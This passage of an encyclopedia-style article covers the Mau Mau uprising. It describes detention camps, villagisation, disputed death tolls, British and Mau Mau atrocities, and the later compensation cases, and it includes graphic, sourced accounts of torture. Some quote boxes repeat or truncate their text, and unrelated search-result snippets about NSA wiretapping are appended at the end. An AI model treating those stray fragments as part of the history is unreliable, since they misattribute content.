During the first year after Operation Anvil, colonial authorities had little success in forcing detainees to cooperate. Camps and compounds were overcrowded, forced-labour systems were not yet perfected, screening teams were not fully coordinated, and the use of torture was not yet systematised.[161] This failure was partly due to the lack of manpower and resources, as well as the vast numbers of detainees. Officials could scarcely process them all, let alone get them to confess their oaths. Assessing the situation in the summer of 1955, Alan Lennox-Boyd wrote of his "fear that the net figure of detainees may still be rising. If so the outlook is grim."[161] Black markets flourished during this period, with the native Kenyan guards helping to facilitate trading. It was possible for detainees to bribe guards in order to obtain items or stay punishment.[159]
[162] [T]he horror of some of the so-called Screening Camps now present a state of affairs so deplorable that they should be investigated without delay, so that the ever increasing allegations of inhumanity and disregard of the rights of the African citizen are dealt with and so that the Government will have no reason to be ashamed of the acts which are done in its own name by its own servants. —Letter from Police Commissioner Arthur Young to
Governor Evelyn Baring, 22 November 1954
Interrogations and confessions [ edit ]
By late 1955, however, the Pipeline had become a fully operational, well-organised system. Guards were regularly shifted around the Pipeline too in order to prevent relationships developing with detainees and so undercut the black markets, and inducements and punishments became better at discouraging fraternising with the enemy.[163] The grinding nature of the improved detention and interrogation regimen began to produce results. Most detainees confessed, and the system produced ever greater numbers of spies and informers within the camps, while others switched sides in a more open, official fashion, leaving detention behind to take an active role in interrogations, even sometimes administering beatings.[163]
The most famous example of side-switching was Peter Muigai Kenyatta—Jomo Kenyatta's son—who, after confessing, joined screeners at Athi River Camp, later travelling throughout the Pipeline to assist in interrogations.[164] Suspected informers and spies within a camp were treated in the time-honoured Mau Mau fashion: the preferred method of execution was strangulation then mutilation: "It was just like in the days before our detention", explained one Mau Mau member later. "We did not have our own jails to hold an informant in, so we would strangle him and then cut his tongue out." The end of 1955 also saw screeners being given a freer hand in interrogation, and harsher conditions than straightforward confession were imposed on detainees before they were deemed 'cooperative' and eligible for final release.[163]
[165] In a half-circle against the reed walls of the enclosure stand eight young, African women. There's neither hate nor apprehension in their gaze. It's like a talk in the headmistress's study; a headmistress who is firm but kindly. —A contemporary BBC-description of screening
While oathing, for practical reasons, within the Pipeline was reduced to an absolute minimum, as many new initiates as possible were oathed. A newcomer who refused to take the oath often faced the same fate as a recalcitrant outside the camps: they were murdered. "The detainees would strangle them with their blankets or, using blades fashioned from the corrugated-iron roofs of some of the barracks, would slit their throats", writes Elkins.[166] The camp authorities' preferred method of capital punishment was public hanging. Commandants were told to clamp down hard on intra-camp oathing, with several commandants hanging anyone suspected of administering oaths.[163]
Even as the Pipeline became more sophisticated, detainees still organised themselves within it, setting up committees and selecting leaders for their camps, as well as deciding on their own "rules to live by". Perhaps the most famous compound leader was Josiah Mwangi Kariuki. Punishments for violating the "rules to live by" could be severe.[159]
European missionaries and native Kenyan Christians played their part by visiting camps to evangelise and encourage compliance with the colonial authorities, providing intelligence, and sometimes even assisting in interrogation. Detainees regarded such preachers with nothing but contempt.[167]
[168] The number of cases of pulmonary tuberculosis which is being disclosed in Prison and Detention Camps is causing some embarrassment. —Memorandum to Commissioner of Prisons John 'Taxi' Lewis
from Kenya's Director of Medical Services, 18 May 1954
The lack of decent sanitation in the camps meant that epidemics of diseases such as typhoid swept through them. Official medical reports detailing the shortcomings of the camps and their recommendations were ignored, and the conditions being endured by detainees were lied about and denied.[169][170][171] A British rehabilitation officer found in 1954 that detainees from Manyani were in "shocking health", many of them suffering from malnutrition,[172] while Langata and GilGil were eventually closed in April 1955[173] because, as the colonial government put it, "they were unfit to hold Kikuyu . . . for medical epidemiological reasons".[173]
While the Pipeline was primarily designed for adult males, a few thousand women and young girls were detained at an all-women camp at Kamiti, as well as a number of unaccompanied young children. Dozens of babies[174] were born to women in captivity: "We really do need these cloths for the children as it is impossible to keep them clean and tidy while dressed on dirty pieces of sacking and blanket", wrote one colonial officer.[175] Wamumu Camp was set up solely for all the unaccompanied boys in the Pipeline, though hundreds, maybe thousands, of boys moved around the adult parts of the Pipeline.
Works camps [ edit ]
There were originally two types of works camps envisioned by Baring: the first type were based in Kikuyu districts with the stated purpose of achieving the Swynnerton Plan; the second were punitive camps, designed for the 30,000 Mau Mau suspects who were deemed unfit to return to the reserves. These forced-labour camps provided a much needed source of labour to continue the colony's infrastructure development.[177]
Colonial officers also saw the second sort of works camps as a way of ensuring that any confession was legitimate and as a final opportunity to extract intelligence. Probably the worst works camp to have been sent to was the one run out of Embakasi Prison, for Embakasi was responsible for the Embakasi Airport, the construction of which was demanded to be finished before the Emergency came to an end. The airport was a massive project with an unquenchable thirst for labour, and the time pressures ensured the detainees' forced labour was especially hard.[163]
Villagisation programme [ edit ]
[178] At the end of 1953, the Administration were faced with the serious problem of the concealment of terrorists and supply of food to them. This was widespread and, owing to the scattered nature of the homesteads, fear of detection was negligible; so, in the first instance, the inhabitants of those areas were made to build and live in concentrated villages. This first step had to be taken speedily, somewhat to the detriment of usual health measures and was definitely a punitive short-term measure. —District Commissioner of Nyeri
If military operations in the forests and Operation Anvil were the first two phases of Mau Mau's defeat, Erskine expressed the need and his desire for a third and final phase: cut off all the militants' support in the reserves.[179] The means to this terminal end was originally suggested by the man brought in by the colonial government to an ethnopsychiatric 'diagnosis' of the uprising, JC Carothers: he advocated a Kenyan version of the villagisation programmes that the British were already using in places like Malaya.[180]
So it was that in June 1954, the War Council took the decision to undertake a full-scale forced-resettlement programme of Kiambu, Nyeri, Murang'a and Embu Districts to cut off Mau Mau's supply lines.[181] Within eighteen months, 1,050,899 Kikuyu in the reserves were inside 804 villages consisting of some 230,000 huts.[182] The government termed them "protected villages", purportedly to be built along "the same lines as the villages in the North of England",[183] though the term was actually a "euphemism[] for the fact that hundreds of thousands of civilians were corralled, often against their will, into settlements behind barbed-wire fences and watch towers."[132]
While some of these villages were to protect loyalist Kikuyu, "most were little more than concentration camps to punish Mau Mau sympathizers."[184] The villagisation programme was the coup de grâce for Mau Mau.[184] By the end of the following summer, Lieutenant General Lathbury no longer needed Lincoln bombers for raids because of a lack of targets,[142] and, by late 1955, Lathbury felt so sure of final victory that he reduced army forces to almost pre-Mau Mau levels.[185]
He noted, however, that the British should have "no illusions about the future. Mau Mau has not been cured: it has been suppressed. The thousands who have spent a long time in detention must have been embittered by it. Nationalism is still a very potent force and the African will pursue his aim by other means. Kenya is in for a very tricky political future."[142]
[186] Whilst they [the Kikuyu] could not be expected to take kindly at first to a departure from their traditional way of life, such as living in villages, they need and desire to be told just what to do. —Council of Kenya-Colony's Ministers, July 1954
The government's public relations officer, Granville Roberts, presented villagisation as a good opportunity for rehabilitation, particularly of women and children, but it was, in fact, first and foremost designed to break Mau Mau and protect loyalist Kikuyu, a fact reflected in the extremely limited resources made available to the Rehabilitation and Community Development Department.[187] Refusal to move could be punished with the destruction of property and livestock, and the roofs were usually ripped off of homes whose occupants demonstrated reluctance.[188] Villagisation also solved the practical and financial problems associated with a further, massive expansion of the Pipeline programme,[189] and the removal of people from their land hugely assisted the enaction of Swynnerton Plan.[184]
The villages were surrounded by deep, spike-bottomed trenches and barbed wire, and the villagers themselves were watched over by members of the Home Guard, often neighbours and relatives. In short, rewards or collective punishments such as curfews could be served much more readily after villagisation, and this quickly broke Mau Mau's passive wing.[190] Though there were degrees of difference between the villages,[191] the overall conditions engendered by villagisation meant that, by early 1955, districts began reporting starvation and malnutrition.[192] One provincial commissioner blamed child hunger on parents deliberately withholding food, saying the latter were aware of the "propaganda value of apparent malnutrition".[193]
[194] From the health point of view, I regard villagisation as being exceedingly dangerous and we are already starting to reap the benefits. —Meru's Dictrict Commissioner, 6 November 1954,
four months after the institution of villagisation
The Red Cross helped mitigate the food shortages, but even they were told to prioritise loyalist areas.[193] The Baring government's medical department issued reports about "the alarming number of deaths occurring amongst children in the 'punitive' villages", and the "political" prioritisation of Red Cross relief.[193]
One of the colony's ministers blamed the "bad spots" in Central Province on the mothers of the children for "not realis[ing] the great importance of proteins", and one former missionary reported that it "was terribly pitiful how many of the children and the older Kikuyu were dying. They were so emaciated and so very susceptible to any kind of disease that came along".[173] Of the 50,000 deaths which John Blacker attributed to the Emergency, half were children under the age of ten.[195]
The lack of food did not just affect the children, of course. The Overseas Branch of the British Red Cross commented on the "women who, from progressive undernourishment, had been unable to carry on with their work".[196]
Disease prevention was not helped by the colony's policy of returning sick detainees to receive treatment in the reserves,[197] though the reserves' medical services were virtually non-existent, as Baring himself noted after a tour of some villages in June 1956.[198]
Political and social concessions by the British [ edit ]
Kenyans were granted nearly[citation needed] all of the demands made by the KAU in 1951.
On 18 January 1955, the Governor-General of Kenya, Evelyn Baring, offered an amnesty to Mau Mau activists. The offer was that they would not face prosecution for previous offences, but may still be detained. European settlers were appalled at the leniency of the offer. On 10 June 1955 with no response forthcoming, the offer of amnesty to the Mau Mau was revoked.
In June 1956, a programme of land reform increased the land holdings of the Kikuyu.[199][citation needed]. This was coupled with a relaxation of the ban on native Kenyans growing coffee, a primary cash crop.[199][citation needed]
In the cities the colonial authorities decided to dispel tensions by raising urban wages, thereby strengthening the hand of moderate union organisations like the KFRTU. By 1956, the British had granted direct election of native Kenyan members of the Legislative Assembly, followed shortly thereafter by an increase in the number of local seats to fourteen. A Parliamentary conference in January 1960 indicated that the British would accept "one person—one vote" majority rule.
Deaths [ edit ]
The uprising was, in David Anderson's words, "a story of atrocity and excess on both sides, a dirty war from which no one emerged with much pride, and certainly no glory."[200] Historian Daniel Goldhagen describes the campaign against the Mau Mau as an example of eliminationism, though this verdict has been fiercely criticised.[201]
The total number of deaths attributable to the Emergency has been a source of dispute: Caroline Elkins claims it is "tens of thousands, perhaps hundreds of thousands".[202] Elkins numbers have been challenged by the British demographer John Blacker, who demonstrated in detail that her numbers were overestimated, explaining that Elkins' figure of 300,000 deaths "implies that perhaps half of the adult male population would have been wiped out—yet the censuses of 1962 and 1969 show no evidence of this—the age-sex pyramids for the Kikuyu districts do not even show indentations."[195]
His study dealt directly with Elkins' claim that "somewhere between 130,000 and 300,000 Kikuyu are unaccounted for" at the 1962 census,[203] and was read by both David Anderson and John Lonsdale prior to publication.[201] Half of Blacker's own estimate of 50,000 comprises children under the age of ten. David Elstein has noted that leading authorities on Africa have taken issue with parts of Elkins' study, in particular her mortality figures: "The senior British historian of Kenya, John Lonsdale, whom Elkins thanks profusely in her book as 'the most gifted scholar I know', warned her to place no reliance on anecdotal sources, and regards her statistical analysis—for which she cites him as one of three advisors—as 'frankly incredible'."[201]
The British possibly killed in excess of 20,000 Mau Mau militants,[3] but in some ways more notable is the smaller number of Mau Mau suspects dealt with by capital punishment: by the end of the Emergency, the total was 1,090. At no other time or place in the British empire was capital punishment dispensed so liberally—the total is more than double the number executed by the French in Algeria.[204]
War crimes [ edit ]
. . . contrary to African customs and values, assaulted old people, women and children. The horrors they practiced included the following: decapitation and general mutilation of civilians, torture before murder, bodies bound up in sacks and dropped in wells, burning the victims alive, gouging out of eyes, splitting open the stomachs of pregnant women. No war can justify such gruesome actions. In man's inhumanity to man, there is no race distinction. The Africans were practicing it on themselves. There was no reason and no restraint on both sides.[98] Mau Mau fighters,contrary to African customs and values, assaulted old people, women and children. The horrors they practiced included the following: decapitation and general mutilation of civilians, torture before murder, bodies bound up in sacks and dropped in wells, burning the victims alive, gouging out of eyes, splitting open the stomachs of pregnant women. No war can justify such gruesome actions. In man's inhumanity to man, there is no race distinction. The Africans were practicing it on themselves. There was no reason and no restraint on both sides. —Bethwell Ogot
War crimes have been broadly defined by the Nuremberg principles as "violations of the laws or customs of war", which includes massacres, bombings of civilian targets, terrorism, mutilation, torture, and murder of detainees and prisoners of war. Additional common crimes include theft, arson, and the destruction of property not warranted by military necessity.[205]
British war crimes [ edit ]
In order to fight the Mau Mau insurgency during the conflict, British troops suspended civil liberties in Kenya. In response to the rebellion, many Kikuyu were forcibly relocated. Between 320,000-450,000 of them were moved into concentration camps. Most of the remainder – more than a million – were held in "enclosed villages". Although some were Mau Mau guerrillas, most were victims of collective punishment that colonial authorities imposed on large areas of the country. Hundreds of thousands suffered beatings and sexual assaults during "screenings" intended to extract information about the Mau Mau threat. Later, prisoners suffered even worse mistreatment in an attempt to force them to renounce their allegiance to the insurgency and to obey commands. Significant numbers were murdered.[206] Prisoners were questioned with the help of "slicing off ears, boring holes in eardrums, flogging until death, pouring paraffin over suspects who were then set alight, and burning eardrums with lit cigarettes". Castration by British troops and denying access to medical aid to the detainees were also widespread and common.[207][208][209] Among the detainees who suffered severe mistreatment was Hussein Onyango Obama, the grandfather of Barack Obama, the former President of the United States. According to his widow, British soldiers forced pins into his fingernails and buttocks and squeezed his testicles between metal rods and two others were castrated.[210]
The historian Robert Edgerton describes the methods used during the emergency: "If a question was not answered to the interrogator's satisfaction, the subject was beaten and kicked. If that did not lead to the desired confession, and it rarely did, more force was applied. Electric shock was widely used, and so was fire. Women were choked and held under water; gun barrels, beer bottles, and even knives were thrust into their vaginas. Men had beer bottles thrust up their rectums, were dragged behind Land Rovers, whipped, burned and bayoneted... Some police officers did not bother with more time-consuming forms of torure; they simply shot any suspect who refused to answer, then told the next suspect, to dig his own grave. When the grave was finished, the man was asked if he would now be willing to talk."[211]
[212] We knew the slow method of torture [at the Mau Mau Investigation Center] was worse than anything we could do. Special Branch there had a way of slowly electrocuting a Kuke—they'd rough up one for days. Once I went personally to drop off one gang member who needed special treatment. I stayed for a few hours to help the boys out, softening him up. Things got a little out of hand. By the time I cut his balls off, he had no ears, and his eyeball, the right one, I think, was hanging out of its socket. Too bad, he died before we got much out of him. One settler's description of British interrogation
In June 1957, Eric Griffith-Jones, the attorney general of the British administration in Kenya, wrote to the governor, Evelyn Baring, 1st Baron Howick of Glendale, detailing the way the regime of abuse at the colony's detention camps was being subtly altered. He said that the mistreatment of the detainees is "distressingly reminiscent of conditions in Nazi Germany or Communist Russia". Despite this, he said that in order for abuse to remain legal, Mau Mau suspects must be beaten mainly on their upper body, "vulnerable parts of the body should not be struck, particularly the spleen, liver or kidneys", and it was important that "those who administer violence ... should remain collected, balanced and dispassionate". He also reminded the governor that "If we are going to sin", he wrote, "we must sin quietly."[210][213]
Chuka Massacre [ edit ]
The Chuka Massacre, which happened in Chuka, Kenya, was perpetrated by members of the King's African Rifles B Company in June 1953 with 20 unarmed people killed during the Mau Mau uprising. Members of the 5th KAR B Company entered the Chuka area on 13 June 1953, to flush out rebels suspected of hiding in the nearby forests. Over the next few days, the regiment had captured and executed 20 people suspected of being Mau Mau fighters for unknown reasons. The people executed belonged to the Kikuyu Home Guard — a loyalist militia recruited by the British to fight the guerrillas. Nobody ever stood trial for the massacre.[citation needed]
Hola massacre [ edit ]
The Hola massacre was an incident during the conflict in Kenya against British colonial rule at a colonial detention camp in Hola, Kenya. By January 1959, the camp had a population of 506 detainees, of whom 127 were held in a secluded "closed camp". This more remote camp near Garissa, eastern Kenya, was reserved for the most uncooperative of the detainees. They often refused, even when threats of force were made, to join in the colonial "rehabilitation process" or perform manual labour or obey colonial orders. The camp commandant outlined a plan that would force 88 of the detainees to bend to work. On 3 March 1959, the camp commandant put this plan into action – as a result, 11 detainees were clubbed to death by guards.[214] 77 surviving detainees sustained serious permanent injuries.[215] The British government accepts that the colonial administration tortured detainees, but denies liability.[216]
Mau Mau war crimes [ edit ]
Lari massacres [ edit ]
Mau Mau militants were guilty of numerous war crimes. The most notorious was their attack on the settlement of Lari, on the night of 25–26 March 1953, in which they herded men, women and children into huts and set fire to them, hacking down with machetes anyone who attempted escape, before throwing them back into the burning huts.[217] The attack at Lari was so extreme that "African policemen who saw the bodies of the victims . . . were physically sick and said 'These people are animals. If I see one now I shall shoot with the greatest eagerness'",[113] and it "even shocked many Mau Mau supporters, some of whom would subsequently try to excuse the attack as 'a mistake'".[218]
A retaliatory massacre was immediately perpetrated by Kenyan security forces who were partially overseen by British commanders. Official estimates place the death toll from the first Lari massacre at 74, and the second at 150, though neither of these figures account for those who 'disappeared'. Whatever the actual number of victims, "[t]he grim truth was that, for every person who died in Lari's first massacre, at least two more were killed in retaliation in the second."[219]
Aside from the Lari massacres, Kikuyu were also tortured, mutilated and murdered by Mau Mau on many other occasions.[98] Mau Mau racked up 1,819 murders of their fellow native Kenyans, though again this number excludes the many additional hundreds who 'disappeared', whose bodies were never found.[4] Thirty-two European and twenty-six Asian civilians were also murdered by Mau Mau militants, with similar numbers wounded. The best known European victim was Michael Ruck, aged six, who was hacked to death with pangas along with his parents, Roger and Esme, and one of the Rucks' farm workers, Muthura Nagahu, who had tried to help the family.[220] Newspapers in Kenya and abroad published graphic murder details, including images of young Michael with bloodied teddy bears and trains strewn on his bedroom floor.[221]
[222] [E]lectric shock was widely used, as well as cigarettes and fire. Bottles (often broken), gun barrels, knives, snakes, vermin, and hot eggs were thrust up men's rectums and women's vaginas. The screening teams whipped, shot, burned and mutilated Mau Mau suspects, ostensibly to gather intelligence for military operations and as court evidence. —Caroline Elkins
In 1952, the poisonous latex of the African milk bush was used by members of Mau Mau to kill cattle in an incident of biological warfare.[223]
Legacy [ edit ]
Although Mau Mau was effectively crushed by the end of 1956, it was not until the First Lancaster House Conference, in January 1960, that native Kenyan majority rule was established and the period of colonial transition to independence initiated.[224] Before the conference, it was anticipated by both native Kenyan and European leaders that Kenya was set for a European-dominated multi-racial government.[224]
There is continuing debate about Mau Mau's and the rebellion's effects on decolonisation and on Kenya after independence. Regarding decolonisation, the most common view is that Kenya's independence came about as a result of the British government's deciding that a continuance of colonial rule would entail a greater use of force than that which the British public would tolerate.[225] Nissimi argues, though, that such a view fails to "acknowledge the time that elapsed until the rebellion's influence actually took effect [and does not] explain why the same liberal tendencies failed to stop the dirty war the British conducted against the Mau Mau in Kenya while it was raging on." Others contend that, as the 1950s progressed, nationalist intransigence increasingly rendered official plans for political development irrelevant, meaning that after the mid-1950s British policy increasingly accepted Kenyan nationalism and moved to co-opt its leaders and organisations into collaboration.[128][226]
It has been argued that the conflict helped set the stage for Kenyan independence in December 1963,[227] or at least secured the prospect of Black-majority rule once the British left.[228] However, this is disputed and other sources downplay the contribution of Mau Mau to decolonisation.[229]
On 12 September 2015, the British government unveiled a Mau Mau memorial statue in Nairobi's Uhuru Park that it had funded "as a symbol of reconciliation between the British government, the Mau Mau, and all those who suffered". This followed a June 2013 decision by Britain to compensate more than 5,000 Kenyans it tortured and abused during the Mau Mau insurgency.[230]
Compensation claims [ edit ]
In 1999, a collection of former fighters calling themselves the Mau Mau Original Group announced they would attempt a £5 billion claim against the UK on behalf of hundreds of thousands of Kenyans for ill-treatment they said they suffered during the rebellion, though nothing came of it.[231][232] In November 2002, the Mau Mau Trust—a welfare group for former members of the movement—announced it would attempt to sue the British government for widespread human rights violations it said were committed against its members(while completely ignoring their own atrocities).[233] Until September 2003, the Mau Mau movement was banned.[234][235]
Once the ban was removed, former Mau Mau members who had been castrated or otherwise tortured were supported by the Kenya Human Rights Commission, in particular by the Commission's George Morara, in their attempt to take on the British government;[236][237] their lawyers had amassed 6,000 depositions regarding human rights abuses by late 2002.[238] 42 potential claimants were interviewed from whom five were chosen to prosecute a test case; one of the five, Susan Ciong'ombe Ngondi, has since died.[237] The remaining four test claimants are: Ndiku Mutua, who was castrated; Paulo Muoka Nzili, who was castrated; Jane Muthoni Mara, who was subjected to sexual assault that included having bottles filled with boiling water pushed up her vagina; and Wambugu Wa Nyingi, who survived the Hola massacre.[239][240][241]
Ben Macintyre of The Times said of the legal case: "Opponents of these proceedings have pointed out, rightly, that the Mau Mau was a brutal terrorist force, guilty of the most dreadful atrocities. Yet only one of the claimants is of that stamp—Mr Nzili. He has admitted taking the Mau Mau oath and said that all he did was to ferry food to the fighters in the forest. None has been accused, let alone convicted, of any crime."[242]
Upon publication of Caroline Elkins' Imperial Reckoning in 2005, Kenya called for an apology from the UK for atrocities committed during the 1950s.[243] The British government claimed the issue was the responsibility of the Kenyan government on the grounds of "state succession" for former colonies, relying on an obscure legal precedent relating to Patagonian toothfish[244] and the declaration of martial law in Jamaica in 1860.[245]
In July 2011, "George Morara strode down the corridor and into a crowded little room [in Nairobi] where 30 elderly Kenyans sat hunched together around a table clutching cups of hot tea and sharing plates of biscuits. 'I have good news from London', he announced. 'We have won the first part of the battle!' At once, the room erupted in cheers."[241] The good news was that a British judge had ruled that the Kenyans could sue the British government for their torture.[246] Morara said that, if the first test cases succeeded, perhaps 30,000 others would file similar complaints of torture.[241] Explaining his decision, Mr Justice McCombe said the claimants had an "arguable case",[247] and added:
It may well be thought strange, or perhaps even dishonourable, that a legal system which will not in any circumstances admit into its proceedings evidence obtained by torture should yet refuse to entertain a claim against the Government in its own jurisdiction for that Government's allegedly negligent failure to prevent torture which it had the means to prevent. Furthermore, resort to technicality . . . to rule such a claim out of court appears particularly misplaced.[248]
A Times editorial noted with satisfaction that "Mr Justice McCombe told the FCO, in effect, to get lost. . . . Though the arguments against reopening very old wounds are seductive, they fail morally. There are living claimants and it most certainly was not their fault that the documentary evidence that seems to support their claims was for so long 'lost' in the governmental filing system."[249]
[250] If we are going to sin, we must sin quietly. —Kenyan Attorney-General Eric Griffith-Jones
During the course of the Mau Mau legal battle in London, a large amount of what was stated to be formerly lost Foreign Office archival material was finally brought to light, while yet more was discovered to be missing.[251] The files, known as migrated archives, provided details of British human rights abuses (torture, rape, execution)[252] in its former colonies during the final stages of empire, including during Mau Mau, and even after decolonisation.
Regarding the Mau Mau Uprising, the records included confirmation of "the extent of the violence inflicted on suspected Mau Mau rebels"[253] in British detention camps documented in Caroline Elkins' study.[254] Numerous allegations of murder and rape by British military personnel are recorded in the files, including an incident where a native Kenyan baby was "burnt to death", the "defilement of a young girl", and a soldier in Royal Irish Fusiliers who killed "in cold blood two people who had been his captives for over 12 hours".[255] Baring himself was aware of the "extreme brutality" of the sometimes-lethal torture meted out—which included "most drastic" beatings, solitary confinement, starvation, castration, whipping, burning, rape, sodomy, and forceful insertion of objects into orifices—but took no action. [158] [253] Baring's inaction was despite the urging of people like Arthur Young, Commissioner of Police for Kenya for less than eight months of 1954 before he resigned in protest, that "the horror of some of the [camps] should be investigated without delay".[162] In February 1956, a provincial commissioner in Kenya, "Monkey" Johnson, wrote to Attorney General Reginald Manningham-Buller urging him to block any enquiry into the methods used against Mau Mau: "It would now appear that each and every one of us, from the Governor downwards, may be in danger of removal from public service by a commission of enquiry as a result of enquiries made by the CID."[256] The April 2012 release also included detailed accounts of the policy of seizing livestock from Kenyans suspected of supporting Mau Mau rebels.[257]
[258] which was approved by Government contained instructions which in effect authorised unlawful use of violence against detainees.[259] Main criticism we shall have to meet is that 'Cowan plan'which was approved by Government contained instructions which in effect authorised unlawful use of violence against detainees. —Colonial Secretary Alan Lennox-Boyd
Commenting on the papers, David Anderson stated that the "documents were hidden away to protect the guilty",[260] and "that the extent of abuse now being revealed is truly disturbing".[261] "Everything that could happen did happen. Allegations about beatings and violence were widespread. Basically you could get away with murder. It was systematic", Anderson said.[93][262] An example of this impunity is the case of eight colonial officials accused of having prisoners tortured to death going unpunished even after their actions were reported to London.[256] Huw Bennett of King's College London, who had worked with Anderson on the Chuka Massacre, said in a witness statement to the court that the new documents "considerably strengthen" the knowledge that the British Army were "intimately involved" with the colonial security forces, whom they knew were "systematically abusing and torturing detainees in screening centres and detention camps".[255] In April 2011, lawyers for the Foreign and Commonwealth Office continued to maintain that there was no such policy.[255] As early as November 1952, however, military reports noted that "[t]he Army has been used for carrying out certain functions that properly belonged to the Police, eg. searching of huts and screening of Africans", and British soldiers arrested and transferred Mau Mau suspects to camps where they were beaten and tortured until they confessed. Bennett said that "the British Army retained ultimate operational control over all security forces throughout the Emergency", and that its military intelligence operation worked "hand in glove" with the Kenyan Special Branch "including in screening and interrogations in centres and detention camps".[255]
The Kenyan government sent a letter to Hague insisting that the UK government was legally liable for the atrocities.[260] The Foreign Office, however, reaffirmed its position that it was not, in fact, liable for colonial atrocities,[260] and argued that the documents had not "disappeared" as part of a cover up.[263] Nearly ten years before, in late 2002, as the BBC aired a documentary detailing British human rights abuses committed during the rebellion and 6,000 depositions had been taken for the legal case, former district colonial officer John Nottingham had expressed concern that compensation be paid soon, since most victims were in their 80s and would soon pass away. He told the BBC: "What went on in the Kenya camps and villages was brutal, savage torture. It is time that the mockery of justice that was perpetrated in this country at that time, should be, must be righted. I feel ashamed to have come from a Britain that did what it did here [in Kenya]."[264]
Thirteen boxes of "top secret" Kenya files are still missing.[265][266]
In October 2012, Mr Justice McCombe granted the surviving elderly test claimants the right to sue the UK for damages.[267][268] The UK government then opted for what the claimants' lawyers called the "morally repugnant" decision to appeal McCombe's ruling.[269] In May 2013, it was reported that the appeal was on hold while the UK government held compensation negotiations with the claimants.[270][271]
Mau Mau status in Kenya [ edit ]
. . . echoed round Kenya's political arena during 40 years of independence. How historically necessary was Mau Mau? Did its secretive violence alone have the power to destroy white supremacy? or did it merely sow discord within a mass nationalism that—for all the failings of the Kenya African Union (KAU)—was bound to win power in the end? Did Mau Mau aim at freedom for all Kenyans? or did moderate, constitutional politicians rescue that pluralist prize from the jaws of its ethnic chauvinism? Has the self-sacrificial victory of the poor been unjustly forgotten, and appropriated by the rich? or are Mau Mau's defeats and divisions best buried in oblivion?[272] Partisan questions about the Mau Mau war haveechoed round Kenya's political arena during 40 years of independence. How historically necessary was Mau Mau? Did its secretive violence alone have the power to destroy white supremacy? or did it merely sow discord within a mass nationalism that—for all the failings of the Kenya African Union (KAU)—was bound to win power in the end? Did Mau Mau aim at freedom for all Kenyans? or did moderate, constitutional politicians rescue that pluralist prize from the jaws of its ethnic chauvinism? Has the self-sacrificial victory of the poor been unjustly forgotten, and appropriated by the rich? or are Mau Mau's defeats and divisions best buried in oblivion? —John Lonsdale
It is often argued that Mau Mau was suppressed as a subject for public discussion in Kenya during the periods under Kenyatta and Daniel arap Moi because of the key positions and influential presence of some loyalists in government, business and other elite sectors of Kenyan society post-1963.[273][274] Unsurprisingly, during this same period opposition groups tactically embraced the Mau Mau rebellion.[15]
Members of Mau Mau are currently recognised by the Kenyan Government as freedom-independence heroes and heroines who sacrificed their lives in order to free Kenyans from colonial rule.[275] Since 2010, Mashujaa Day (Heroes Day) has been marked annually on 20 October (the same day Baring signed the Emergency order).[276] According to the Kenyan Government, Mashujaa Day will be a time for Kenyans to remember and honour Mau Mau and other Kenyans who participated in the independence struggle.[275] Mashujaa Day will replace Kenyatta Day; the latter has until now also been held on 20 October.[277] In 2001, the Kenyan Government announced that important Mau Mau sites were to be turned into national monuments.[278]
This official celebration of Mau Mau is in marked contrast to a post-colonial norm of Kenyan governments rejection of the Mau Mau as a symbol of national liberation.[103][279] Such a turnabout has attracted criticism of government manipulation of the Mau Mau uprising for political ends.[278][280]
[131] We are determined to have independence in peace, and we shall not allow hooligans to rule Kenya. We must have no hatred towards one another. Mau Mau was a disease which had been eradicated, and must never be remembered again. —Speech by Jomo Kenyatta, April 1963
See also [ edit ]
Insurgency:
Mungiki, contemporary Kikuyu insurgency within Kenya
General:
Notes [ edit ]
A The name Kenya Land and Freedom Army is sometimes heard in connection with Mau Mau. KLFA was the name that Dedan Kimathi used for a coordinating body which he tried to set up for Mau Mau. It was also the name of another militant group that sprang up briefly in the spring of 1960; the group was broken up during a brief operation from 26 March to 30 April.[281]
B Between 1895 and 1920, Kenya was formally known as British East Africa Protectorate; between 1920 and 1963, as Kenya Colony and Protectorate.[282]
C "Squatter or resident labourers are those who reside with their families on European farms usually for the purpose of work for the owners. . . . Contract labourers are those who sign a contract of service before a magistrate, for periods varying from three to twelve months. Casual labourers leave their reserves to engage themselves to European employers for any period from one day upwards."[55] In return for his services, a squatter was entitled to use some of the settler's land for cultivation and grazing.[283] Contract and casual workers are together referred to as migratory labourers, in distinction to the permanent presence of the squatters on farms. The phenomenon of squatters arose in response to the complementary difficulties of Europeans in finding labourers and of Africans in gaining access to arable and grazing land.[45]
D During the Emergency, screening was the term used by colonial authorities to mean the interrogation of a Mau Mau suspect. The alleged member or sympathiser of Mau Mau would be interrogated in order to obtain an admission of guilt—specifically, a confession that they had taken the Mau Mau oath—as well as for intelligence.[284]
References [ edit ]
Notes
NSA warrantless surveillance (2001–2007) NSA warrantless surveillance (also commonly referred to as " warrantless - wiretapping " or "- wiretaps ") refers to the surveillance of persons within the United 130 KB (15,501 words) - 19:45, 30 December 2018
Jack Goldsmith (section Warrantless wiretapping memos [ wiretapping ] capabilities of the [National Security Agency] within the United States, he has inherent constitutional authority" to order warrantless wiretapping—"an 16 KB (1,888 words) - 20:00, 15 February 2019
Warrantless searches in the United States Warrantless searches are searches and seizures conducted without search warrants. In the United States, warrantless searches are restricted under the 15 KB (1,791 words) - 15:15, 20 November 2018
David S. Kris (section Criticism of warrantless domestic wiretapping administration's legal argument that it had authority to conduct warrantless domestic wiretapping due to the Authorization for Use of Military Force Against 8 KB (688 words) - 00:23, 19 September 2018
Telephone tapping (redirect from Wiretapping wiretapping by a government agency is also called lawful interception. Passive wiretapping monitors or records the traffic, while active wiretapping alters 41 KB (5,013 words) - 04:05, 2 January 2019
Foreign Intelligence Surveillance Act of 1978 Amendments Act of 2008 programs disclosed by Edward Snowden in 2013, including PRISM. Warrantless wiretapping by the National Security Agency (NSA) was revealed publicly in 23 KB (2,191 words) - 19:37, 26 February 2019
Stellar Wind disclosures Hepting v. AT&T ( warrantless wiretapping case) MUSCULAR NSA call database NSA electronic surveillance program NSA warrantless surveillance controversy 10 KB (1,123 words) - 02:30, 11 February 2019
Foreign Intelligence Surveillance Act (section Warrantless domestic wiretapping program The New York Times of an article that described a program of warrantless domestic wiretapping ordered by the Bush administration and carried out by the National 67 KB (7,848 words) - 21:52, 22 November 2018
Protect America Act of 2007 (section Domestic wiretapping published an article that described a surveillance program of warrantless domestic wiretapping ordered by the Bush administration and carried out by the National 25 KB (2,593 words) - 14:32, 2 April 2018
